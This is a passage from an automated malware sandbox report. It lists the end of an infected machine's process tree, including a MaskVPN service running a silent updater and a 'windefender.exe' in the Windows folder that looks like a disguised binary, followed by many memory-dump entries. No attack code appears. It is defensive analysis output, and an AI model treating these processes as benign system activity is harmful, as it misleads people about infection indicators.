                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:3936
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:3192
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6952
                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:3184
                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                                                                                                                                                                                              MaskVPNUpdate.exe /silent
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6588
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6016
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:2484
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                  werfault.exe /h /shared Global\32c9b9db8fc94e6f8464f52341fe2c81 /t 4300 /p 2484
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5320
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5236

                                                                                                                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                                                                                                                    • memory/592-24-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      5.5MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/592-30-0x0000000000400000-0x0000000000983000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      5.5MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/648-511-0x00007FFA0E7B0000-0x00007FFA0F19C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/648-615-0x000000001F302000-0x000000001F303000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/648-536-0x00000000029C0000-0x00000000029C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/648-535-0x00000000029D0000-0x00000000029D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/648-623-0x00000000029B0000-0x00000000029B2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/656-49-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      292KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/656-44-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      292KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/868-191-0x0000000000401000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      728KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1220-200-0x0000000000800000-0x0000000000801000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-317-0x0000000004AD4000-0x0000000004AD6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-343-0x0000000006000000-0x0000000006001000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-336-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-386-0x0000000006810000-0x0000000006811000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-387-0x00000000069F0000-0x00000000069F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-337-0x0000000005660000-0x0000000005661000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-338-0x0000000005CF0000-0x0000000005CF1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-283-0x0000000004AD3000-0x0000000004AD4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-260-0x0000000002160000-0x0000000002161000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-436-0x0000000005520000-0x0000000005521000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-263-0x0000000070630000-0x0000000070D1E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      6.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-270-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-276-0x0000000002600000-0x0000000002628000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      160KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-269-0x0000000002270000-0x000000000229A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      168KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-339-0x0000000005D10000-0x0000000005D11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-278-0x00000000049A0000-0x00000000049A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1372-275-0x0000000004AD2000-0x0000000004AD3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1376-102-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1436-474-0x0000000000400000-0x00000000015D7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      17.8MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1436-475-0x0000000001820000-0x0000000001821000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1436-473-0x0000000001840000-0x0000000001841000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1604-667-0x0000000006460000-0x0000000006461000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1604-664-0x0000000070630000-0x0000000070D1E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      6.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1604-668-0x0000000006462000-0x0000000006463000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1604-691-0x0000000006463000-0x0000000006464000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1620-497-0x0000000000400000-0x000000000044B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1620-192-0x0000000000620000-0x0000000000621000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1620-495-0x0000000000790000-0x00000000007D0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      256KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/1968-517-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-295-0x00000000066D0000-0x00000000066DB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      44KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-289-0x0000000008610000-0x000000000866D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      372KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-290-0x0000000008720000-0x0000000008721000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-261-0x00000000000E0000-0x00000000000E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-277-0x0000000004960000-0x0000000004961000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-258-0x0000000070630000-0x0000000070D1E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      6.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2060-393-0x0000000008980000-0x00000000089CB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2564-71-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2564-85-0x0000000002FC0000-0x000000000346F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4.7MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2588-430-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2632-81-0x0000000000B50000-0x0000000000B51000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2632-83-0x000000001CC20000-0x000000001CC22000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2632-79-0x00007FFA12FF0000-0x00007FFA139DC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2652-89-0x00007FFA2B0D0000-0x00007FFA2B14E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      504KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2652-104-0x0000019CE16A0000-0x0000019CE16A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2652-91-0x0000000010000000-0x0000000010057000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      348KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2676-472-0x00007FFA2FDD0000-0x00007FFA2FDD1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2692-54-0x0000000000320000-0x000000000033B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      108KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2692-53-0x0000000000330000-0x0000000000331000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2692-52-0x0000000002DD0000-0x0000000002EBF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      956KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2692-28-0x00000000025E0000-0x000000000277C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1.6MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2704-48-0x0000000002C80000-0x0000000002CC5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      276KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/2704-43-0x0000000003110000-0x0000000003111000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3168-573-0x00000000044C0000-0x00000000044C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3168-105-0x0000000002FC0000-0x0000000002FC2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3168-95-0x00007FFA0F1A0000-0x00007FFA0FB40000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.6MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3184-509-0x0000000034361000-0x000000003444A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      932KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3184-506-0x0000000000400000-0x00000000015D7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      17.8MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3184-508-0x0000000033A21000-0x0000000033BA0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      1.5MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3184-510-0x00000000344C1000-0x00000000344FF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      248KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3220-541-0x00000000044F0000-0x00000000044F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3220-540-0x00000000044F0000-0x00000000044F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3300-439-0x0000000001690000-0x0000000001691000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3384-73-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3384-86-0x0000000003580000-0x0000000003A2F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4.7MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3548-636-0x0000000140000000-0x000000014072E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      7.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3548-629-0x000002EC68D70000-0x000002EC68D84000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      80KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3548-638-0x000002EC68DB0000-0x000002EC68DD0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      128KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3548-631-0x0000000140000000-0x000000014072E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      7.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3548-625-0x0000000140000000-0x000000014072E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      7.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3676-61-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      3.2MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3676-60-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3948-29-0x0000000001210000-0x000000000121D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      52KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/3948-47-0x0000000000400000-0x00000000004D2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      840KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4220-202-0x00007FFA2B0D0000-0x00007FFA2B14E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      504KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4220-209-0x000001EB59AE0000-0x000001EB59AE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4224-580-0x0000000004500000-0x0000000004501000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4328-281-0x0000000000AA0000-0x0000000000AA1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4332-382-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4348-207-0x0000000072450000-0x00000000724E3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      588KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4356-298-0x00000000049B0000-0x00000000049B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4356-301-0x00000000049B0000-0x00000000049B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4360-212-0x00000000007C0000-0x00000000007C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4376-307-0x0000000004E10000-0x0000000004E11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4380-221-0x0000000000400000-0x0000000000C77000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8.5MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4380-208-0x00000000014D0000-0x00000000014D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4380-211-0x00000000014D0000-0x0000000001D2D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8.4MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4380-214-0x0000000000400000-0x0000000000C77000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8.5MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4392-457-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4392-455-0x00007FFA0E7B0000-0x00007FFA0F19C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.9MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4424-376-0x0000000004900000-0x0000000004901000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4436-567-0x00000000048D0000-0x00000000048D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4444-539-0x0000000000400000-0x000000000048C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      560KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4444-537-0x0000000002500000-0x0000000002501000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4444-538-0x0000000002300000-0x0000000002389000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      548KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4452-213-0x0000000000E80000-0x0000000000E81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4452-225-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      320KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4452-220-0x0000000000930000-0x000000000097C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      304KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4504-227-0x0000000001120000-0x0000000001122000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      8KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4504-226-0x00007FFA0F1A0000-0x00007FFA0FB40000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      9.6MB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4520-228-0x0000000000401000-0x000000000040B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      40KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4532-587-0x0000000004500000-0x0000000004501000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4544-235-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

                                                                                                                                                                                                                                                                                                                                                                    • memory/4544-243-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                                                                                                                      4KB

